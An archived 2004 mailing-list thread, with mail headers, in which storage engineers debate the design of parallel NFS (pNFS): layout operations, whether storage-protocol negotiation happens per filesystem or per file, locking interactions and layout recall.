pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I agree that typing a filesystem (as defined by files sharing the same fsid) as supporting the same pNFS storage protocol(s) is reasonable and effective. This does not prohibit a single NFSv4 server from managing multiple different pNFS storage protocols in different exported filesystems, nor does it prohibit a single client from being capable of directly accessing files of different storage protocols. We still need a method of discovering the pNFS storage protocol(s) for a given filesystem. An NFS attribute on all member files will do, though I'd like the client implementation to be able to simply inspect the attributes of the root of the filesystem to learn the appropriate storage protocols. garth On Jun 19, 2004, at 8:46 PM, Noveck, Dave wrote: > I assume you mean that for the most part most files should be > available via 3 methods > 1) native file system > > Maybe, maybe not. On appliance servers such as our system there is > nothing that really > corresponds to local file system access as it's generally thought of. > > > 2) pNFS via one of the three pNFS methods > > One or more than one. I think I was the first one to mention the > possibility that servers > could make files available via more than one of these. Whether that > turns out to be > common will depend on how implementations evolve. If there are sets > of clients that > each support disjoint sets of methods (files and blocks) then it may > worth it for a > server to accommodate both. > > > 3) regular NFS > > Certainly. > > > but it will be unlikely that the files would be available under more > than one pNFS method. > > If you had to make a bet (even money) about a given server selected at > random, guessing > one pNFS method would be where the smart money would go. But more > than one > shouldn't be considered a real long shot. It depends on the clients. > > My point was (and is) that whatever choice a server makes on this > issue should be considered > as a per-fs choice, and not a per-file choice. I can't imagine a > server making a different choice > for different files on the same fs and the protocol should not > complicate itself to allow that > possibility. > > > -----Original Message----- > From: Gary Grider [mailto:ggrider@lanl.gov] > Sent: Saturday, June 19, 2004 5:57 PM > To: pnfs-reqs@yahoogroups.com; pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-reqs] summary of June face-to-face > > At 07:11 AM 6/19/2004 -0700, Noveck, Dave wrote: > > > We discussed variations > > on this scheme where the client supplies a list of possibilities and > > the server returns the first one it supports. We had a lengthy > > discussion about whether it is possible to do this negotiation for > > the whole filesystem first, but rejected that approach > > because different files might be available through different storage > > protocols. > > I wasn't there for the discussion but I have a lot of trouble > imagining circumstances where we have a single file system such > that different files are available through different sets of > storage protocols. > > I assume you mean that for the most part most files should be > available via 3 methods > 1) native file system > 2) pNFS via one of the three pNFS methods > 3) regular NFS > > but it will be unlikely that the files would be available under more > than one pNFS method. > > Gary > > > > And if there are a few, how much is this > worth? This is the kind of thing that really adds to > implementation (and especialy testing) complexity. I'd vote > for keeping things simple(r) by saying fs's have to be uniform > in this regard. > > With regard to Garth's recent comments, ""What I'd like to avoid > is a round trip on each open for the client to determine what > type of layout to request. I'd like this to be known or mostly > guessable before the open"", I think we're OK. If the client > has opened a file on the same fs, no matter what we do, it will > be an awfully good guess that the layout types for every file on > that fs are the same. It'll be pretty close to a sure thing. > But why make the client deal with the complexity of the case > where it isn't the correct guess? There's enough needed > complexity in this endeavour that we shouldn't add to it > gratuitously. > > > > Much discussion about this, see above. Advisory locks are > orthogonal > > to layout information. *However*, if a server is implementing > > mandatory locks, then it really must recall layouts that would allow > > conflicting I/O. > > Note that if the server provides another way (e.g. through its > storage management protocol) to prevent the mandatory locks from > being violated, it doesn't have to recall the layouts since, > under those conditions, the layout would not allow conflicting > I/O. > > > If the server crashes, then the clients need to get their layouts > > after it restarts. This needs to be described in the draft doc. > > There's a lot of stuff in this area. When clients reboot, the > server has to recognize that they're layouts are no longer held. > We need to explan the case where the client dies an never comes > back up and where the client keeps renewing its lease but is > asked to return its layout but never does do. > > > DELEGASK / DELEGRETURN > > > > I think this is an orthogonal NFSv4 extension (dubbed > > ""c-NFS"" for cache-coherent NFS) that would all a more sophisticated > > cache consistency implementation. This is likely to be > > controversial and we think we can get most of the value prop > > of pNFS without this. > > Although I think you are right that it will be controversial, > my feeling is that the controversy will not be quite as sharp > if it is proposed as an optional feature, which it would have > to be anyway for a minor version. > > I agree that this is orthogonal to pnfs and needs to be pursued > separately. Those who really want this and want to use it with > pnfs can pursue it in their own I-D and depending on how things > work out, it might wind up the same minor version. > > > I think this boils it down to LAYOUTGET, LAYOUTCOMMIT, and > > LAYOUTRETURN, with some negotiation about preferred storage > > protocols and the kind of sharing the client and server expect. > > Sounds like it's almost ready to ship :-) > > Yahoo! Groups Sponsor > ADVERTISEMENT > > > > > Yahoo! Groups Links > � To visit your group on the web, go to: > � http://groups.yahoo.com/group/pnfs-reqs/ > � � To unsubscribe from this group, send an email to: > � pnfs-reqs-unsubscribe@yahoogroups.com > � � Your use of Yahoo! Groups is subject to the Yahoo! Terms of > Service. > > > > > Yahoo! Groups Sponsor > > ADVERTISEMENT > > > > Yahoo! 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Terms of > Service. > > >From bwelch@panasas.com Sun Jun 20 21:01:48 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 14264 invoked from network); 21 Jun 2004 04:01:47 -0000 Received: from unknown (66.218.66.216) by m2.grp.scd.yahoo.com with QMQP; 21 Jun 2004 04:01:47 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta1.grp.scd.yahoo.com with SMTP; 21 Jun 2004 04:01:47 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i5L41kx18199 for ; Sun, 20 Jun 2004 21:01:46 -0700 Message-Id: <200406210401.i5L41kx18199@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.4 06/14/2004 with nmh-1.0.4 X-Exmh-Isig-CompType: repl X-Exmh-Isig-Folder: pnfs To: pnfs-reqs@yahoogroups.com In-reply-to: References: <200406180115.i5I1Fq118244@medlicott.panasas.com> Comments: In-reply-to Dean Hildebrand message dated ""Fri, 18 Jun 2004 11:46:54 -0400."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 >>>Dean Hildebrand said: > This is great, thanks to Brian and Brent. > > > Callbacks and pending callbacks > > > > The draft-00 had a notion of a pending callback and a notification > > that a layout was available. We think we can live without this. > > Instead, the server just gives out layouts and recalls them. If > > a client does not get a layout, then it retries later, or it uses > > regular READ/WRITE operations through the server instead. > Just to understand this a little better, are we essentially adding > additional functionality to existing parallel file systems with the > ability for the client to write to the NFS server? Is it true that in > existing parallel file systems, if a client requests a conflicting byte > range (assuming the client cares about conflicts) it is essentially > halted > until the conflict is resolved? That's a two-part question. For the first, what about existing parallel filesystems, we are postulating a new NFS interface to them. They'll have to export the NFSv4 interface somehow, including ""legacy"" READ/WRITE as well as the new LAYOUTGET et. al. For the second, if clients request conflicting layouts the server serializes them somehow. Some servers export async interfaces so a client can essentially block waiting for the layout. Other servers return a failure and force the client to retry. It is up to the server implementation. > > Storage Protocol Negotiation > > > > The client needs to be able to ask for particular kinds of layouts > > that involve particular storage protocols. The LAYOUTGET operation > > will include a storage protocol type, and the server will fail to > > return a layout if it cannot give it that type. > > > > We discussed variations > > on this scheme where the client supplies a list of possibilities and > > the server returns the first one it supports. We had a lengthy > > discussion about whether it is possible to do this negotiation for > > the whole filesystem first, but rejected that approach > > because different files might be available through different storage > > protocols. I believe we postulated an attribute on the file > that > > identified the ""preferred"" storage protocol that a client could > > use to access that file. > I'm wondering if this is unecessary. If a file exists then the > preferred > type of file system for access must be available (otherwise who is > storing > the file?). Using the attribute idea, the client requests the > attribute > and if it has a I/O module to support that type of access it can use > parallel I/O, otherwise it must read/write through the NFS server. If > the > attribute doesn't exist or is NULL or something, parallel I/O does not > exist for this file. The point is that there could be multiple storage protocols that can be used to access a file (e.g., both object and file. Ultimately there may be many storage protocols). Also, you don't necessarily want to force the client to do a getattr to get that attribute before it requests the layout. > > Relation to share mode reservations > > Relation to byte range locks > > Much discussion about this, see above. Advisory locks are > orthogonal > > to layout information. *However*, if a server is implementing > > mandatory locks, then it really must recall layouts that would allow > > conflicting I/O. > I think the only real requirement here is that clients do not end up > with > conflicting layouts. If client A and client B do not have conflicting > locks BUT they have conflicting layouts, then the server should be able > to > only recall the conflicting bits of the layouts. I'm wondering how > much > we let implementors/applications shoot themselves in the foot. Do we > need > a requirement that servers cannot return layouts that conflict with > outstanding locks? My thoughts are that we should tune the protocol so > clients have the greatest chance of being able to use parallel I/O and > not > accidentally end up writing through the NFS server b/c their ops were > out > of order or soemthing. Here the main point is that if you can ignore mandatory locking, then we can keep the layouts independent of locking (and data delegations). If the clients are using advisory locks, then we assume all clients are participating in the locking protocol and we can ignore what layouts they have. Hidden in your question is an interesting point, however, which is the ability of the server to recall conflicting ranges of the layout. We don't have anything like that in the protocol right now. The nearest thing we have is that when a client asks for a write (or read) layout the server may return the layout for a smaller range. For now a recall is for the complete layout. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From dhildebz@eecs.umich.edu Mon Jun 21 09:31:34 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 32096 invoked from network); 21 Jun 2004 16:31:32 -0000 Received: from unknown (66.218.66.217) by m24.grp.scd.yahoo.com with QMQP; 21 Jun 2004 16:31:32 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta2.grp.scd.yahoo.com with SMTP; 21 Jun 2004 16:31:32 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i5LGVR5H005731 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 21 Jun 2004 12:31:28 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i5LGVRIi005728 for ; Mon, 21 Jun 2004 12:31:27 -0400 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Mon, 21 Jun 2004 12:31:27 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: <200406210401.i5L41kx18199@medlicott.panasas.com> Message-ID: References: <200406180115.i5I1Fq118244@medlicott.panasas.com> <200406210401.i5L41kx18199@medlicott.panasas.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus > The point is that there could be multiple storage protocols that can > be used to access a file (e.g., both object and file. Ultimately there > may be many storage protocols). Also, you don't necessarily want to > force the client to do a getattr to get that attribute > before it requests the layout. As Garth mentioned, 1 supported parallel storage protocol per fsid seems reasonable to me. The NFSv4 protocol already does a GETATTR on a file, so there isn't any additional overhead. There would be an assumption that the protocol does not change on the fly (which would be amazing sysadmin magic anyways) and that the protocol returned on a GETATTR is valid during the current incarnation of the server. As we know, a single mount point on the client does not correspond to a single fsid as directories down the tree may have different fsid's. I'm not sure if an NFSv4 client can determine when this occurs, so simply adding the attribute to the GETATTR which proceeds an OPEN will catch the change in protocol (all done in the same compound of course). I also propose we change LAYOUTGET to GETLAYOUT to correspond with GETATTR. > Here the main point is that if you can ignore mandatory locking, then > we can keep the layouts independent of locking (and data delegations). > If the clients are using advisory locks, then we assume all clients are > participating in the locking protocol and we can ignore what layouts > they have. Hidden in your question is an interesting point, however, > which is the ability of the server to recall conflicting ranges of > the layout. We don't have anything like that in the protocol right > now. The nearest thing we have is that when a client asks for a > write (or read) layout the server may return the layout for a smaller > range. For now a recall is for the complete layout. I didn't think it was hidden, but out in front in a polite way.:) I guess a client, after having its layout recalled, can request a new smaller layout. It seems a little more efficient to simply recall the conflicting parts. Since the server may return larger layouts than requested, this seems like a common need. (Isn't this similar to Lustre and many others' lock management scheme?) This discussion seems to bring up an issue: We will support a group id with layouts but not with locks. Wouldn't it be better (protocol wise) to support a group lock command than create a back door method (or have both)? Is it important to match consistency abilities (exclusive, group, etc) between locks and layouts or do we see layouts as a whole new way of achieving consistency? Dean Hildebrand University of Michigan >From dnoveck@netapp.com Mon Jun 21 10:59:50 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26513 invoked from network); 21 Jun 2004 17:59:49 -0000 Received: from unknown (66.218.66.172) by m20.grp.scd.yahoo.com with QMQP; 21 Jun 2004 17:59:49 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 21 Jun 2004 17:59:49 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5LHxmkX022089 for ; Mon, 21 Jun 2004 10:59:48 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5LHxmmb024772 for ; Mon, 21 Jun 2004 10:59:48 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 21 Jun 2004 10:59:42 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRXrTj2HGbeWnAVS0GvoVwhs08LzwABOqHw To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Dean Hildebrand wrote: > > > The point is that there could be multiple storage protocols that can > > be used to access a file (e.g., both object and file. Ultimately there > > may be many storage protocols). Also, you don't necessarily want to > > force the client to do a getattr to get that attribute > > before it requests the layout. > As Garth mentioned, 1 supported parallel storage protocol per fsid seems > reasonable to me. Huh? Garth's words were ""I agree that typing a filesystem (as defined by files sharing the same fsid) as supporting the same pNFS storage protocol(s) is reasonable and effective."" I interpret ""protocol(s)"" to indicate ""one or more than one"", not ""1 supported storage protocol per fsid"". > The NFSv4 protocol already does a GETATTR on a file, > so there isn't any additional overhead. If you're going to do this on a per-fsid basis (which I thought you said you were OK with) then you don't need to do the GETATTR to determine the protocol. If you do this on a per-file basic then you might have additional overhead. If you know the protocol in advance, then you can do a LAYOUTGET compounded to the OPEN (and the GETATTR) whereas if this is a per-file option then you have to wait for GETATTR to return before issuing the LAYOUTGET. > There would be an assumption that > the protocol does not change on the fly (which would be amazing > sysadmin magic anyways) I don't know what you mean by an ""assumption"" here. Either the server is allowed to do this within the protocol or it isn't. If it is allowed, then in coding and testing we have to assume that it will happen or else everybody's code will fail in interesting ways when it does. > and that the protocol returned on a GETATTR is valid during > the current incarnation of the server. The problem here is in determining ""the current incarnation"". If we do a GETATTR before we have done a SETCLIENTID, which is legal, then I, the client, have no way to determine with which incarnation the GETATTR is associated. So here's my best guess about how to deal with this issue: If a server changes the set of support protocols, it is under no obligation to notify clients of additional supported protocols. Clients may if they choose, periodically interrogate the supported protocol attribute for an fs, if they think that they might usefully respond to a change. If a server makes a previously supported protocol non- supported, it should respond to LAYOUTGET with a distinctive error code that indicate that the layout type is no longer supported. This will allow clients to do a GETATTR to determine the new list of support protocols for that fs. A server which has layouts outstanding and then removes the protocol associated with the layout from the list of supported protocols, may, if it wishes, continue to support the existing layouts while refusing to create any new ones (and it must so refuse once that protocol is no longer in the list). It may also recall the layouts for the no longer supported protocols. In that latter case, a client would presumably try to reget a layout of the previous type and thereby find out that that protocol is no longer supported and then do a GETATTR to get the new current list. > As we know, a single mount point on the client does not correspond to a > single fsid as directories down the tree may have different fsid's. I'm > not sure if an NFSv4 client can determine when this occurs, so simply > adding the attribute to the GETATTR which proceeds an OPEN will catch the > change in protocol (all done in the same compound of course). If he can do a GETATTR to see when the protocol changes, he can do a GETATTR to see when the fsid change. If the protocol doesn't change, he still wants to know when he fsid changes (fileid uniqueness domains, fs_locations values, etc.). > I also propose we change LAYOUTGET to GETLAYOUT to correspond with > GETATTR. There is also DELEGRETURN so we can't match everything we'd like to. Why don't we flip a coin to decide this at the next ftf meeting. >From bwelch@panasas.com Thu Jun 24 08:17:02 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 20490 invoked from network); 24 Jun 2004 15:17:01 -0000 Received: from unknown (66.218.66.172) by m20.grp.scd.yahoo.com with QMQP; 24 Jun 2004 15:17:01 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta4.grp.scd.yahoo.com with SMTP; 24 Jun 2004 15:17:01 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i5OFAfh09615 for ; Thu, 24 Jun 2004 08:10:41 -0700 Message-Id: <200406241510.i5OFAfh09615@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs To: pnfs-reqs@yahoogroups.com In-reply-to: References: <200406180115.i5I1Fq118244@medlicott.panasas.com> <200406210401.i5L41kx18199@medlicott.panasas.com> Comments: In-reply-to Dean Hildebrand message dated ""Mon, 21 Jun 2004 12:31:27 -0400."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=>r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o Date: Thu, 24 Jun 2004 08:10:41 -0700 X-eGroups-Remote-IP: 63.80.58.202 X-eGroups-From: Brent Welch From: Brent Welch Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 >>>Dean Hildebrand said: > > > The point is that there could be multiple storage protocols that can > > be used to access a file (e.g., both object and file. Ultimately > there > > may be many storage protocols). Also, you don't necessarily want > to > > force the client to do a getattr to get that attribute > > before it requests the layout. > As Garth mentioned, 1 supported parallel storage protocol per fsid > seems > reasonable to me. The NFSv4 protocol already does a GETATTR on a file, > so there isn't any additional overhead. There would be an assumption > that > the protocol does not change on the fly (which would be amazing > sysadmin > magic anyways) and that the protocol returned on a GETATTR is valid > during > the current incarnation of the server. > > As we know, a single mount point on the client does not correspond to a > single fsid as directories down the tree may have different fsid's. > I'm > not sure if an NFSv4 client can determine when this occurs, so simply > adding the attribute to the GETATTR which proceeds an OPEN will catch > the > change in protocol (all done in the same compound of course). That's fine - I don't feel super strongly about this. > I also propose we change LAYOUTGET to GETLAYOUT to correspond with > GETATTR. Hmm - I'm inclined to keep LAYOUT as the prefix for all the ops in this extension. > > > Here the main point is that if you can ignore mandatory locking, then > > we can keep the layouts independent of locking (and data > delegations). > > If the clients are using advisory locks, then we assume all clients > are > > participating in the locking protocol and we can ignore what layouts > > they have. Hidden in your question is an interesting point, however, > > which is the ability of the server to recall conflicting ranges of > > the layout. We don't have anything like that in the protocol right > > now. The nearest thing we have is that when a client asks for a > > write (or read) layout the server may return the layout for a smaller > > range. For now a recall is for the complete layout. > > I didn't think it was hidden, but out in front in a polite way.:) I > guess > a client, after having its layout recalled, can request a new smaller > layout. It seems a little more efficient to simply recall the > conflicting > parts. Since the server may return larger layouts than requested, this > seems like a common need. (Isn't this similar to Lustre and many > others' > lock management scheme?) Let's not confuse layouts with locking. I think the server will be much simpler if it doesn't have to try and recall parts of a layout. > This discussion seems to bring up an issue: We will support a group id > with layouts but not with locks. Wouldn't it be better (protocol wise) > to > support a group lock command than create a back door method (or have > both)? Is it important to match consistency abilities (exclusive, > group, > etc) between locks and layouts or do we see layouts as a whole new way > of > achieving consistency? No - let's not confuse layouts with locking. I think it will be better all around to keep them independent. > Dean Hildebrand > University of Michigan -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From bwelch@panasas.com Thu Jun 24 08:25:07 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94963 invoked from network); 24 Jun 2004 15:25:05 -0000 Received: from unknown (66.218.66.166) by m1.grp.scd.yahoo.com with QMQP; 24 Jun 2004 15:25:05 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta5.grp.scd.yahoo.com with SMTP; 24 Jun 2004 15:25:04 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i5OFLjM09728 for ; Thu, 24 Jun 2004 08:21:45 -0700 Message-Id: <200406241521.i5OFLjM09728@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs To: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to ""Noveck, Dave"" message dated ""Mon, 21 Jun 2004 10:59:42 -0700."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=>r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o Date: Thu, 24 Jun 2004 08:21:45 -0700 X-eGroups-Remote-IP: 63.80.58.202 X-eGroups-From: Brent Welch From: Brent Welch Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 ADVERTISEMENT click here >>>""Noveck, Dave"" said: > So here's my best guess about how to deal with this issue: > > If a server changes the set of support protocols, it is > under no obligation to notify clients of additional > supported protocols. Clients may if they choose, > periodically interrogate the supported protocol attribute > for an fs, if they think that they might usefully respond > to a change. > > If a server makes a previously supported protocol non- > supported, it should respond to LAYOUTGET with a > distinctive error code that indicate that the layout > type is no longer supported. This will allow clients > to do a GETATTR to determine the new list of support > protocols for that fs. Is there precident for an attribute that has a list of values? I'm OK with that, but I had assumed that would be awkward. > A server which has layouts outstanding and then removes > the protocol associated with the layout from the list > of supported protocols, may, if it wishes, continue to > support the existing layouts while refusing to create > any new ones (and it must so refuse once that protocol > is no longer in the list). It may also recall the > layouts for the no longer supported protocols. In that > latter case, a client would presumably try to reget a > layout of the previous type and thereby find out that > that protocol is no longer supported and then do a GETATTR > to get the new current list. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From dnoveck@netapp.com Thu Jun 24 09:00:20 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 80319 invoked from network); 24 Jun 2004 16:00:18 -0000 Received: from unknown (66.218.66.218) by m17.grp.scd.yahoo.com with QMQP; 24 Jun 2004 16:00:18 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 24 Jun 2004 16:00:18 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5OFwVkX007203 for ; Thu, 24 Jun 2004 08:58:31 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5OFwV2I006082 for ; Thu, 24 Jun 2004 08:58:31 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 24 Jun 2004 08:58:28 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRZ/3BOLLKHv0UtT+6sfxgSx7W5xgABIWWQ To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT Brent Welch wrote: > > If a server makes a previously supported protocol non- > > supported, it should respond to LAYOUTGET with a > > distinctive error code that indicate that the layout > > type is no longer supported. This will allow clients > > to do a GETATTR to determine the new list of support > > protocols for that fs. > > Is there precident for an attribute that has a list of values? > I'm OK with that, but I had assumed that would be awkward. Not in the strict sense of XDR lists as are used in READDIR responses. However, I was using ""list"" in a more generic sense for any variable-length set and there is plenty of precedent for that. The fs_locations attribute is one example: fs_location4 struct fs_location4 { utf8str_cis server<>; pathname4 rootpath; }; fs_locations4 struct fs_locations4 { pathname4 fs_root; fs_location4 locations<>; }; ACL's are another attribute that includes multiple levels of variable-length arays (i.e. an array of ace's with each ace containing a variable-length string to specify the user or group whose access is being allowed or denied (or audited or made the subject of an alarm)). I think that within the v4 attribute model you are pretty free to use any form of attribute that you can represent in XDR, although if the format is too complicated, you will get some pushback from people. >From dhildebz@eecs.umich.edu Thu Jun 24 09:16:58 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 18074 invoked from network); 24 Jun 2004 16:16:57 -0000 Received: from unknown (66.218.66.172) by m3.grp.scd.yahoo.com with QMQP; 24 Jun 2004 16:16:57 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta4.grp.scd.yahoo.com with SMTP; 24 Jun 2004 16:16:57 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i5OGFt6X008871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Jun 2004 12:15:55 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i5OGFtmQ008868 for ; Thu, 24 Jun 2004 12:15:55 -0400 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Thu, 24 Jun 2004 12:15:55 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus I would still like someone to explain to me how the NFS server, which is talking to a single file system through an OS's 'VFS' layer, can support multiple protocols for a single file at the same time. Each fsid or node exported via exportfs can have a different file system type, but for a single file? Is this something that a specialized implementation of the NFS server, like Netapp's, is looking to support? Dean On Thu, 24 Jun 2004, Noveck, Dave wrote: > Brent Welch wrote: > > > If a server makes a previously supported protocol non- > > > supported, it should respond to LAYOUTGET with a > > > distinctive error code that indicate that the layout > > > type is no longer supported. This will allow clients > > > to do a GETATTR to determine the new list of support > > > protocols for that fs. > > > > Is there precident for an attribute that has a list of values? > > I'm OK with that, but I had assumed that would be awkward. > > Not in the strict sense of XDR lists as are used in READDIR > responses. However, I was using ""list"" in a more generic > sense for any variable-length set and there is plenty of > precedent for that. The fs_locations attribute is one > example: > > fs_location4 > > struct fs_location4 { > utf8str_cis server<>; > pathname4 rootpath; > }; > > > fs_locations4 > > struct fs_locations4 { > pathname4 fs_root; > fs_location4 locations<>; > }; > > ACL's are another attribute that includes multiple levels > of variable-length arays (i.e. an array of ace's with each > ace containing a variable-length string to specify the > user or group whose access is being allowed or denied (or > audited or made the subject of an alarm)). > > I think that within the v4 attribute model you are pretty > free to use any form of attribute that you can represent in > XDR, although if the format is too complicated, you will get > some pushback from people. > > > Yahoo! Groups Sponsor > ADVERTISEMENT > click here > [rand=437384642] > > ________________________________________________________________________________ > Yahoo! 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Terms of Service. > > >From dnoveck@netapp.com Thu Jun 24 10:06:25 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 52498 invoked from network); 24 Jun 2004 17:06:24 -0000 Received: from unknown (66.218.66.167) by m11.grp.scd.yahoo.com with QMQP; 24 Jun 2004 17:06:24 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 24 Jun 2004 17:06:24 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5OH6MkX016066 for ; Thu, 24 Jun 2004 10:06:22 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5OH6M2I027910 for ; Thu, 24 Jun 2004 10:06:22 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 24 